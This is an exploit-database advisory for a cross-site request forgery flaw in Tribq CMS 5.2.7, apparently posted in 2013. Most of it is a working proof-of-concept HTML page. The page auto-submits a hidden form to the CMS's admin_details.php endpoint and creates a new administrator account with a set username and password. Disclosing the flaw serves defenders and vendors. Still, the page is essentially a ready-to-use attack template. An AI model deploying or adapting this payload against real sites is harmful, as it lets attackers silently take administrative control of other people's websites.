Tribq CMS 5.2.7 Cross Site Request Forgery

2013.08.09
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-352

########################################################################################### # Exploit Title: Tribq CMS CSRF - Adding/Editing new administrator account # Date: 2013 8 August # Exploit Author: Yashar shahinzadeh # Special thanks to Mormoroth # Credit goes for: http://y-shahinzadeh.ir & ha.cker.ir # Vendor Homepage: http://sourceforge.net/projects/tribiq/ # Tested on: Linux & Windows, PHP 5.2.9 # Affected Version : 5.2.7 # # Contacts: { http://Twitter.com/YShahinzadeh , http://y-shahinzadeh.ir , http://Twitter.com/Mormoroth , http://mormoroth.ir } ########################################################################################### Summary: ======== 1. CSRF - Adding administrator account 1. CSRF - Adding administrator account: ======================================= From my standpoint, Tribq is a good CMS which is immune to many well-known vulnerabilities aside from CSRF. There are too many devastating actions may be done by hacker by conducting CSRF attack, although the critical ones are changing administrator password or adding new one. I provide an example of adding new administrator account, the attack can be done easily, afterwards, such a plain text may be appeared: {"adminId":20,"adminType":"local"} <html> <body onload="submitForm()"> <form name="myForm" id="myForm" action="http://localhost/community-5.2.7c/community-5.2.7c/tb/ajax/admin_details.php" method="post"> <input type="hidden" name="save" value="true"> <input type="hidden" name="adminType" value="local"> <input type="hidden" name="formMode" value="edit"> <input type="hidden" name="username" value="Yashar"> <input type="hidden" name="password" value="Yashar123"> <input type="hidden" name="password_reconfirm" value="Yashar123"> <input type="hidden" name="first_name" value="test"> <input type="hidden" name="last_name" value="test"> <input type="hidden" name="email" value="test@test.com"> </form> <script type='text/javascript'>document.myForm.submit();</script> </html> /** Yasshar shahinzadeh **/

References:

http://y-shahinzadeh.ir


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top